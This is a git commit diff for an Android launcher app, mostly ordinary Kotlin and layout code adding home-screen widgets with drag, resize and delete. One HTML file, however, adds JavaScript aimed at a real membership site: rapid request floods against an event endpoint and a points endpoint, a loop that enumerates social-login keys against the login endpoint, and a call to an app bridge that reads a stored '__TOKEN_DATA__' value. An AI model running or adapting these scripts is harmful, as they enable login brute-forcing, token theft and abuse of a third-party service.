This commit is contained in:
lunaticbum 2026-01-07 18:13:43 +09:00
parent 578f3f96ad
commit dc6b95108f
8 changed files with 531 additions and 38 deletions

View File

@ -153,16 +153,90 @@
} }
for (let i = 0; i < 100 ; i++) { for (let i = 0; i < 100 ; i++) {
var url = "/nhpot/maa/joinDailyEvt.ajax";
var type = "post";
var data = { EVT_ID : '10174'
, EVT_DTL_TP_C : '0312'
, WATER : 'Y'
};
var async = true;
submitAjax(url, type, async, data)
} }
/**
* 지정된 시간(ms)만큼 기다리는 Promise를 반환합니다.
* @param {number} ms - 기다릴 밀리초
*/
/**
* API에 순차적으로 부하 테스트를 실행하는 함수
* @param {number} totalCalls - 총 테스트 호출 횟수
*/
async function startSequentialLoadTest(totalCalls = 100) {
// ⭐️ 여기에 테스트할 실제 API URL을 입력하세요.
const API_ENDPOINT = 'https://api.example.com/your-endpoint';
let successfulCalls = 0;
let failedCalls = 0;
console.log(`[부하 테스트 시작] 총 ${totalCalls}회 순차 호출 (매 1초 간격)`);
console.log(`대상 URL: ${API_ENDPOINT}`);
for (let i = 1; i <= totalCalls; i++) {
const startTime = performance.now(); // 요청 시작 시간
try {
// 1. fetch 요청을 보내고 완료될 때까지 기다립니다.
const response = await fetch("https://m.nhmembers.co.kr/nhpot/pnt/ajaxGetPntTupPointCvList.ajax", {
"headers": {
"accept": "*/*",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"cache-control": "no-cache",
"pragma": "no-cache",
"sec-ch-ua": "\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Android WebView\";v=\"140\"",
"sec-ch-ua-mobile": "?1",
"sec-ch-ua-platform": "\"Android\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"x-requested-with": "XMLHttpRequest"
},
"referrer": "https://m.nhmembers.co.kr/nhpot/pnt/pntTupPointCvIndex.snh?menuId=AC03050000",
"body": null,
"method": "POST",
"mode": "cors",
"credentials": "include"
});
const duration = (performance.now() - startTime).toFixed(2); // 응답 시간
// 2. HTTP 응답 상태 코드로 성공/실패를 판단합니다.
if (!response.ok) {
// 200-299 범위 외의 상태 코드는 에러로 간주
throw new Error(`HTTP error! status: ${response.status}`);
}
// (선택 사항) 응답 데이터를 JSON으로 파싱
// const data = await response.json();
console.log(`[${i}/${totalCalls}회] ✅ 성공 (상태: ${response.status}, ${duration}ms)`);
successfulCalls++;
} catch (error) {
// 3. 네트워크 오류 또는 fetch 실패 시 처리
const duration = (performance.now() - startTime).toFixed(2);
console.error(`[${i}/${totalCalls}회] ❌ 실패 (${error.message}, ${duration}ms)`);
failedCalls++;
}
// 4. 마지막 호출이 아닐 경우, 1초간 대기합니다.
if (i < totalCalls) {
await delay(50); // 1000ms = 1초
}
}
console.log('--------------------');
console.log('[부하 테스트 완료]');
console.log(`성공: ${successfulCalls}회`);
console.log(`실패: ${failedCalls}회`);
console.log('--------------------');
}
startSequentialLoadTest(500);
// 재귀적으로 모든 사진 ID를 가져오는 함수 // 재귀적으로 모든 사진 ID를 가져오는 함수
async function fetchAllPhotos(offset) { async function fetchAllPhotos(offset) {
@ -220,6 +294,91 @@
}; };
}, 1500); // transition 시간과 동일하게 설정 }, 1500); // transition 시간과 동일하게 설정
} }
const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));
async function testCall(totalCalls = 5000) {
console.log(`현 주소 : ${location.href}`)
var SNS_TP_C = "01";// # 네이버: 01, 카카오: 02
var SNS_ATTC_KEY = 59711004
let successfulCalls = 0;
let failedCalls = 0;
console.log(`[테스트 시작] 총 ${totalCalls}회 순차 호출 (매 1초 간격)`);
for (let i = 0; i <= totalCalls; i++) {
const startTime = performance.now(); // 요청 시작 시간
var data = data = {
"CERT_PURPOSE": "",
"SNS_TP_C": SNS_TP_C,
"SNS_ATTC_KEY": SNS_ATTC_KEY + i,
"RQR_PATH_C": "03",
"AP_AUT_LGIN_YN": "N",
"TRM_NATV_ID": "98330320250312105723",
"PRL_CHAN_C": "",
"TRM_OS_C": "01",
"OPI_CI": "MEMBERS",
"OPI_RRRC": "",
"OPI_RRRD": "",
"OPI_EXPIRE_TIME": "",
"OPI_ACCESS_TOKEN": "",
"OPI_DEVICE_ID": "",
"OPI_RESULT_CODE": "",
"ANW_AP_PUSH_YN": "Y",
"OPI_JOIN_YN": "",
"AD_ID": "fd42945f-3d3d-485a-8a33-e6ac40eae597",
"isLoginPage": "Y"
}
try {
// 1. fetch 요청을 보내고 완료될 때까지 기다립니다.
const response = await fetch("https://m.nhmembers.co.kr/nhpot/login/snsLoginCertNew.ajax", {
"headers": {
"User-Agent" : "NH_MEMBERS_ANDROID2.0.021",
},
"body": data,
"method": "POST",
});
const duration = (performance.now() - startTime).toFixed(2); // 응답 시간
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
const {resultCode , resultMessage} = await response.json();
console.log(`[${i}/${totalCalls}회] ✅ 성공 (상태: ${response.status}, ${duration}ms) SNS_ATT:${SNS_ATTC_KEY + i} ${resultCode} : ${resultMessage}`);
if (resultCode !== '9999') {
successfulCalls++;
} else {
failedCalls++;
}
} catch (error) {
// 3. 네트워크 오류 또는 fetch 실패 시 처리
const duration = (performance.now() - startTime).toFixed(2);
console.error(`[${i}/${totalCalls}회] ❌ 실패 (${error.message}, ${duration}ms)`);
failedCalls++;
}
// 4. 마지막 호출이 아닐 경우, 1초간 대기합니다.
if (i < totalCalls) {
await delay(50); // 1000ms = 1초
}
}
console.log('--------------------');
console.log('[로그인 테스트 완료]');
console.log(`성공: ${successfulCalls}회`);
console.log(`실패: ${failedCalls}회`);
console.log('--------------------');
try {
hybridaction.action('{"package": "com.nh.android.nhmembers.plugin","class": "HPPreference", "action": "get", "request_id": "testrequest", "callback": "document.write", "argument": {"key": "__TOKEN_DATA__"}}')
} catch(error) {
console.log(error)
}
}
testCall(1000);
</script> </script>
</body> </body>
</html> </html>

View File

@ -1,25 +1,11 @@
/*
* Lunar Launcher
* Copyright (C) 2022 Md Rasel Hossain
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package bums.lunatic.launcher package bums.lunatic.launcher
//import kr.lunaticbum.utils.ui.DisplayUtil
import android.annotation.SuppressLint import android.annotation.SuppressLint
import android.app.Activity
import android.app.SearchManager import android.app.SearchManager
import android.appwidget.AppWidgetHost
import android.appwidget.AppWidgetHostView
import android.appwidget.AppWidgetManager
import android.content.Context import android.content.Context
import android.content.Intent import android.content.Intent
import android.content.res.Configuration import android.content.res.Configuration
@ -42,6 +28,7 @@ import android.view.MotionEvent
import android.view.PointerIcon import android.view.PointerIcon
import android.view.View import android.view.View
import android.view.WindowManager import android.view.WindowManager
import android.widget.FrameLayout
import androidx.activity.OnBackPressedCallback import androidx.activity.OnBackPressedCallback
import androidx.annotation.RequiresApi import androidx.annotation.RequiresApi
import androidx.core.net.toUri import androidx.core.net.toUri
@ -53,6 +40,7 @@ import androidx.core.view.updatePadding
import bums.lunatic.launcher.LauncherActivity.Companion.lActivity import bums.lunatic.launcher.LauncherActivity.Companion.lActivity
import bums.lunatic.launcher.common.CommonActivity import bums.lunatic.launcher.common.CommonActivity
import bums.lunatic.launcher.databinding.LauncherActivityBinding import bums.lunatic.launcher.databinding.LauncherActivityBinding
import bums.lunatic.launcher.feeds.WidgetHost
import bums.lunatic.launcher.helpers.ForeGroundService import bums.lunatic.launcher.helpers.ForeGroundService
import bums.lunatic.launcher.helpers.HeadsetActionButtonReceiver import bums.lunatic.launcher.helpers.HeadsetActionButtonReceiver
import bums.lunatic.launcher.home.GeckoWeb import bums.lunatic.launcher.home.GeckoWeb
@ -61,6 +49,7 @@ import bums.lunatic.launcher.home.adapters.BookmarkDetailFragment
import bums.lunatic.launcher.home.adapters.BookmarkPagerFragment import bums.lunatic.launcher.home.adapters.BookmarkPagerFragment
import bums.lunatic.launcher.model.RssData import bums.lunatic.launcher.model.RssData
import bums.lunatic.launcher.model.RssDataType import bums.lunatic.launcher.model.RssDataType
import bums.lunatic.launcher.model.WidgetData
import bums.lunatic.launcher.receiver.NLService import bums.lunatic.launcher.receiver.NLService
import bums.lunatic.launcher.settings.SettingsActivity import bums.lunatic.launcher.settings.SettingsActivity
import bums.lunatic.launcher.tokiz.Comics import bums.lunatic.launcher.tokiz.Comics
@ -75,6 +64,7 @@ import com.google.android.material.color.DynamicColors
import com.yausername.ffmpeg.FFmpeg import com.yausername.ffmpeg.FFmpeg
import com.yausername.youtubedl_android.YoutubeDL import com.yausername.youtubedl_android.YoutubeDL
import com.yausername.youtubedl_android.YoutubeDLException import com.yausername.youtubedl_android.YoutubeDLException
import io.realm.kotlin.UpdatePolicy
import io.realm.kotlin.ext.query import io.realm.kotlin.ext.query
import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
@ -396,7 +386,40 @@ open class LauncherActivity : CommonActivity() {
.commit() .commit()
} }
} }
private fun deleteWidget(view: View) {
val widgetId = view.tag as? Int ?: return
// 1. 화면에서 제거
binding.widgetContainer.removeView(view)
// 2. 시스템 호스트에서 제거 (ID 삭제)
appWidgetHost?.deleteAppWidgetId(widgetId)
// 3. DB에서 제거
WorkersDb.getRealm().writeBlocking {
val item = query<WidgetData>("appWidgetId == $0", widgetId).first().find()
if (item != null) {
delete(item)
}
}
}
// 두 뷰가 겹치는지 확인하는 헬퍼 함수
private fun isViewOverlapping(v1: View, v2: View): Boolean {
val rect1 = android.graphics.Rect()
v1.getGlobalVisibleRect(rect1)
val rect2 = android.graphics.Rect()
v2.getGlobalVisibleRect(rect2)
return android.graphics.Rect.intersects(rect1, rect2)
}
// 위젯 관련 변수
private var appWidgetManager: AppWidgetManager? = null
private var appWidgetHost: AppWidgetHost? = null
private val APPWIDGET_HOST_ID = 1024
private val REQUEST_PICK_APPWIDGET = 100
private val REQUEST_CREATE_APPWIDGET = 101
@SuppressLint("NewApi", "MissingPermission", "ClickableViewAccessibility") @SuppressLint("NewApi", "MissingPermission", "ClickableViewAccessibility")
override fun onCreate(savedInstanceState: Bundle?) { override fun onCreate(savedInstanceState: Bundle?) {
@ -434,7 +457,7 @@ open class LauncherActivity : CommonActivity() {
updateLocationService() updateLocationService()
showContents(binding.feeds.id) // showContents(binding.feeds.id)
binding.floatingActionMenu.setOnTouchListener { v: View, e: MotionEvent -> binding.floatingActionMenu.setOnTouchListener { v: View, e: MotionEvent ->
if (binding.floatingActionMenu.isOpened) { if (binding.floatingActionMenu.isOpened) {
binding.floatingActionMenu.close(true) binding.floatingActionMenu.close(true)
@ -464,9 +487,268 @@ open class LauncherActivity : CommonActivity() {
startActivity(shareIntent) startActivity(shareIntent)
} }
} }
appWidgetManager = AppWidgetManager.getInstance(this)
appWidgetHost = WidgetHost(applicationContext, APPWIDGET_HOST_ID)
appWidgetHost?.startListening()
// 2. 저장된 위젯 복구
restoreWidgets()
// 3. 바탕화면 롱클릭 시 위젯 추가 메뉴 띄우기 (예시)
binding.widgetContainer.setOnLongClickListener {
selectWidget()
true
}
scaleDetector = android.view.ScaleGestureDetector(this, object : android.view.ScaleGestureDetector.SimpleOnScaleGestureListener() {
override fun onScale(detector: android.view.ScaleGestureDetector): Boolean {
currentDragView?.let { view ->
val params = view.layoutParams as FrameLayout.LayoutParams
// 기존 크기에 스케일 팩터(확대/축소 비율)를 곱해서 새로운 크기 계산
val newWidth = (params.width * detector.scaleFactor).toInt()
val newHeight = (params.height * detector.scaleFactor).toInt()
// 최소 크기 제한 (너무 작아지지 않게 방지, 예: 100px)
params.width = newWidth.coerceAtLeast(100)
params.height = newHeight.coerceAtLeast(100)
view.layoutParams = params
// AppWidgetHostView에 크기 변경 알림 (위젯 내용물 재배치 유도)
(view as? AppWidgetHostView)?.updateAppWidgetSize(null, params.width, params.height, params.width, params.height)
return true // 이벤트를 처리했음을 알림
}
return false
}
})
}
// 위젯 선택기 실행
fun selectWidget() {
val appWidgetId = appWidgetHost?.allocateAppWidgetId()
val pickIntent = Intent(AppWidgetManager.ACTION_APPWIDGET_PICK).apply {
putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId)
putParcelableArrayListExtra(AppWidgetManager.EXTRA_CUSTOM_INFO, ArrayList())
putParcelableArrayListExtra(AppWidgetManager.EXTRA_CUSTOM_EXTRAS, ArrayList())
}
startActivityForResult(pickIntent, REQUEST_PICK_APPWIDGET)
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
if (resultCode == Activity.RESULT_OK) {
when (requestCode) {
REQUEST_PICK_APPWIDGET -> configureWidget(data)
REQUEST_CREATE_APPWIDGET -> createWidget(data)
}
} else if (resultCode == Activity.RESULT_CANCELED && data != null) {
val appWidgetId = data.getIntExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, -1)
if (appWidgetId != -1) appWidgetHost?.deleteAppWidgetId(appWidgetId)
}
}
private fun configureWidget(data: Intent?) {
val extras = data?.extras
val appWidgetId = extras?.getInt(AppWidgetManager.EXTRA_APPWIDGET_ID, -1) ?: -1
val appWidgetInfo = appWidgetManager?.getAppWidgetInfo(appWidgetId)
if (appWidgetInfo?.configure != null) {
// val intent = Intent(AppWidgetManager.ACTION_APPWIDGET_CONFIGURE).apply {
// component = appWidgetInfo.configure
// putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId)
// }
appWidgetHost?.startAppWidgetConfigureActivityForResult(
this,
appWidgetId,
0,
REQUEST_CREATE_APPWIDGET,
null
)
} else {
createWidget(data)
}
}
// LauncherActivity 클래스 멤버 변수 추가
private var isDraggingWidget = false
private var currentDragView: View? = null
private var lastTouchX = 0f
private var lastTouchY = 0f
// 위젯 뷰 생성 및 화면 배치
private fun createWidget(data: Intent?, savedWidgetData: WidgetData? = null) {
val appWidgetId = savedWidgetData?.appWidgetId ?: data?.extras?.getInt(AppWidgetManager.EXTRA_APPWIDGET_ID, -1) ?: return
val appWidgetInfo = appWidgetManager?.getAppWidgetInfo(appWidgetId) ?: return
val hostView = appWidgetHost?.createView(applicationContext, appWidgetId, appWidgetInfo)
hostView?.setAppWidget(appWidgetId, appWidgetInfo)
// 크기 및 위치 설정
val width = savedWidgetData?.width ?: appWidgetInfo.minWidth
val height = savedWidgetData?.height ?: appWidgetInfo.minHeight
val params = FrameLayout.LayoutParams(width, height)
hostView?.layoutParams = params
if (savedWidgetData != null) {
hostView?.x = savedWidgetData.x
hostView?.y = savedWidgetData.y
} else {
// 새 위젯은 겹치지 않게 약간 랜덤한 위치에 배치 (예: 50~400 사이)
hostView?.x = (50..400).random().toFloat()
hostView?.y = (200..600).random().toFloat()
}
hostView?.tag = appWidgetId
// 드래그 리스너 등록
hostView?.setOnLongClickListener { view ->
isDraggingWidget = true
currentDragView = view
lastTouchX = 0f
lastTouchY = 0f
// [추가] 드래그 시작 시 삭제 영역 표시
binding.deleteZone.visibility = View.VISIBLE
// 시각적 피드백
view.animate().scaleX(1.05f).scaleY(1.05f).setDuration(100).start()
true
}
binding.widgetContainer.addView(hostView)
// 새로 추가된 위젯이라면 DB에 저장
if (savedWidgetData == null) {
saveWidgetState(appWidgetId, hostView!!.x, hostView.y, width, height, appWidgetInfo.provider.className)
}
}
// 위젯 정보 DB 저장
private fun saveWidgetState(id: Int, x: Float, y: Float, w: Int, h: Int, name: String) {
WorkersDb.getRealm().writeBlocking {
copyToRealm(WidgetData().apply {
this.appWidgetId = id
this.x = x
this.y = y
this.width = w
this.height = h
this.className = name
}, UpdatePolicy.ALL)
}
}
// DB에서 위젯 복구
private fun restoreWidgets() {
val widgets = WorkersDb.getRealm().query<WidgetData>().find()
widgets.forEach { widgetData ->
createWidget(null, widgetData)
}
}
lateinit var scaleDetector: android.view.ScaleGestureDetector
override fun dispatchTouchEvent(ev: MotionEvent?): Boolean {
if (ev == null) return super.dispatchTouchEvent(ev)
if (isDraggingWidget && currentDragView != null) {
// 1. 스케일(크기 조절) 감지기에게 이벤트 전달
scaleDetector.onTouchEvent(ev)
// 2. 크기 조절 중이면 드래그(이동) 로직 건너뛰기
if (scaleDetector.isInProgress) {
// 스케일 중에는 좌표 초기화 (드래그 튀는 현상 방지)
lastTouchX = ev.rawX
lastTouchY = ev.rawY
return true
}
// 3. 기존 이동(드래그) 로직
when (ev.actionMasked) { // actionMasked 사용 권장 (멀티터치 지원)
MotionEvent.ACTION_MOVE -> {
// 손가락이 하나일 때만 이동 허용
// [추가] 삭제 영역과 겹치는지 확인하여 시각적 피드백 (예: 빨갛게 변함)
if (isViewOverlapping(currentDragView!!, binding.deleteZone)) {
binding.deleteZone.setBackgroundColor(android.graphics.Color.RED)
binding.deleteZone.text = "손을 떼면 삭제됩니다"
} else {
binding.deleteZone.setBackgroundColor(0x99FF0000.toInt()) // 반투명 빨강 (원래 색)
binding.deleteZone.text = "삭제하려면 여기에 놓으세요"
}
if (ev.pointerCount == 1 && lastTouchX != 0f && lastTouchY != 0f) {
val dx = ev.rawX - lastTouchX
val dy = ev.rawY - lastTouchY
currentDragView!!.x += dx
currentDragView!!.y += dy
}
lastTouchX = ev.rawX
lastTouchY = ev.rawY
return true
}
MotionEvent.ACTION_UP, MotionEvent.ACTION_CANCEL -> {
// 드래그/리사이즈 종료
if (isViewOverlapping(currentDragView!!, binding.deleteZone)) {
// 삭제 수행
deleteWidget(currentDragView!!)
} else {
// 삭제가 아니라면 원래대로 복구 및 위치 저장 (기존 로직)
currentDragView?.let { view ->
view.animate().scaleX(1.0f).scaleY(1.0f).setDuration(100).start()
val widgetId = view.tag as? Int ?: -1
if (widgetId != -1) {
saveWidgetState(widgetId, view.x, view.y, view.layoutParams.width, view.layoutParams.height, "")
}
}
}
// [추가] 삭제 영역 숨기기 및 초기화
binding.deleteZone.visibility = View.GONE
binding.deleteZone.setBackgroundColor(0x99FF0000.toInt())
isDraggingWidget = false
currentDragView = null
lastTouchX = 0f
lastTouchY = 0f
return true
}
// ACTION_POINTER_DOWN: 두 번째 손가락 터치 시 좌표 튐 방지
MotionEvent.ACTION_POINTER_DOWN -> {
lastTouchX = ev.rawX
lastTouchY = ev.rawY
}
}
}
return super.dispatchTouchEvent(ev)
}
// 드래그 앤 드롭 리스너 (자유 배치 핵심)
inner class WidgetTouchListener(val view: View, val widgetId: Int) : View.OnTouchListener {
var dX = 0f
var dY = 0f
var startClickTime: Long = 0
override fun onTouch(v: View, event: MotionEvent): Boolean {
when (event.action) {
MotionEvent.ACTION_DOWN -> {
dX = v.x - event.rawX
dY = v.y - event.rawY
startClickTime = System.currentTimeMillis()
}
MotionEvent.ACTION_MOVE -> {
v.animate().x(event.rawX + dX).y(event.rawY + dY).setDuration(0).start()
}
MotionEvent.ACTION_UP -> {
if (System.currentTimeMillis() - startClickTime < 200) return false // 클릭으로 간주
// 위치 업데이트 저장
val w = v.width
val h = v.height
// className을 가져오기 위해 기존 데이터 조회 필요 (간소화를 위해 여기선 생략하거나 로컬 변수 사용)
saveWidgetState(widgetId, v.x, v.y, w, h, "")
}
}
return true
}
} }
fun showContents(id : Int) { fun showContents(id : Int) {
binding.fragmentContainer.visibility = View.VISIBLE
when(id) { when(id) {
R.id.feeds -> { R.id.feeds -> {
supportFragmentManager.beginTransaction() supportFragmentManager.beginTransaction()
@ -533,23 +815,26 @@ open class LauncherActivity : CommonActivity() {
return super.onTouchEvent(event) return super.onTouchEvent(event)
} }
override fun onStart() {
super.onStart()
appWidgetHost?.startListening() // [필수] 여기서 리스닝 시작
}
override fun onStop() {
super.onStop()
appWidgetHost?.stopListening() // [필수] 여기서 리스닝 중지 (onDestroy 대신 여기 추천)
}
override fun onDestroy() { override fun onDestroy() {
try { try {
sRuntime?.shutdown() sRuntime?.shutdown()
sRuntime = null sRuntime = null
} catch (e: Exception) {e.printStackTrace() } catch (e: Exception) { e.printStackTrace() }
}
// appWidgetHost?.stopListening() // 이 줄은 제거하고 onStop으로 이동
super.onDestroy() super.onDestroy()
} }
override fun onStart() {
super.onStart()
}
@RequiresApi(Build.VERSION_CODES.O_MR1) @RequiresApi(Build.VERSION_CODES.O_MR1)
override fun onResume() { override fun onResume() {
super.onResume() super.onResume()

View File

@ -0,0 +1,10 @@
package bums.lunatic.launcher.apps;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Base64; // Java 기본 Base64 사용
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

View File

@ -0,0 +1,14 @@
package bums.lunatic.launcher.model
import io.realm.kotlin.types.RealmObject
import io.realm.kotlin.types.annotations.PrimaryKey
class WidgetData : RealmObject {
@PrimaryKey
var appWidgetId: Int = 0
var className: String = "" // 위젯 식별용
var x: Float = 0f
var y: Float = 0f
var width: Int = 0
var height: Int = 0
}

View File

@ -25,6 +25,7 @@ import bums.lunatic.launcher.model.TelegramData
import bums.lunatic.launcher.model.TelegramFrom import bums.lunatic.launcher.model.TelegramFrom
import bums.lunatic.launcher.model.TelegramMessage import bums.lunatic.launcher.model.TelegramMessage
import bums.lunatic.launcher.model.WeatherForcast import bums.lunatic.launcher.model.WeatherForcast
import bums.lunatic.launcher.model.WidgetData
import bums.lunatic.launcher.tokiz.ContentsCollection import bums.lunatic.launcher.tokiz.ContentsCollection
import bums.lunatic.launcher.tokiz.ContentsPageInfo import bums.lunatic.launcher.tokiz.ContentsPageInfo
import bums.lunatic.launcher.tokiz.HistoryItem import bums.lunatic.launcher.tokiz.HistoryItem
@ -62,7 +63,7 @@ object WorkersDb {
TelegramBotUpdate::class, TelegramData::class, TelegramMessage::class, TelegramChat::class, BotCommandEentitie::class, TelegramFrom::class, TelegramBotUpdate::class, TelegramData::class, TelegramMessage::class, TelegramChat::class, BotCommandEentitie::class, TelegramFrom::class,
WeatherForcast::class, Location::class, Current::class, Forecast::class, Condition::class, Forecastday::class, Day::class, Astro::class, Hour::class, WeatherForcast::class, Location::class, Current::class, Forecast::class, Condition::class, Forecastday::class, Day::class, Astro::class, Hour::class,
LocationLog::class, LocationLog::class,
LastInfo::class, HistoryItem::class, ReaderConfig::class, ContentsCollection::class, ContentsPageInfo::class LastInfo::class, HistoryItem::class, ReaderConfig::class, ContentsCollection::class, ContentsPageInfo::class,WidgetData::class
) )
//,UserActionModel::class //,UserActionModel::class

View File

@ -9,11 +9,34 @@
android:orientation="vertical" android:orientation="vertical"
android:id="@+id/mainFragmentsContainer" android:id="@+id/mainFragmentsContainer"
> >
<FrameLayout
android:id="@+id/widget_container"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:clipChildren="false"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintEnd_toEndOf="parent" />
<TextView
android:id="@+id/delete_zone"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="삭제하려면 여기에 놓으세요"
android:textColor="#FFFFFF"
android:background="#99FF0000"
android:padding="20dp"
android:gravity="center"
android:visibility="gone"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintEnd_toEndOf="parent"
android:layout_marginTop="50dp"/>
<androidx.fragment.app.FragmentContainerView <androidx.fragment.app.FragmentContainerView
android:id="@+id/fragment_container" android:id="@+id/fragment_container"
android:visibility="visible" android:visibility="gone"
android:layout_width="0dp" android:layout_width="0dp"
android:layout_height="0dp" android:layout_height="0dp"
app:layout_constraintTop_toTopOf="parent" app:layout_constraintTop_toTopOf="parent"

View File

@ -132,5 +132,6 @@
android:progress="0" android:progress="0"
android:visibility="visible" android:visibility="visible"
android:indeterminate="false"/> android:indeterminate="false"/>
</androidx.constraintlayout.widget.ConstraintLayout> </androidx.constraintlayout.widget.ConstraintLayout>
</layout> </layout>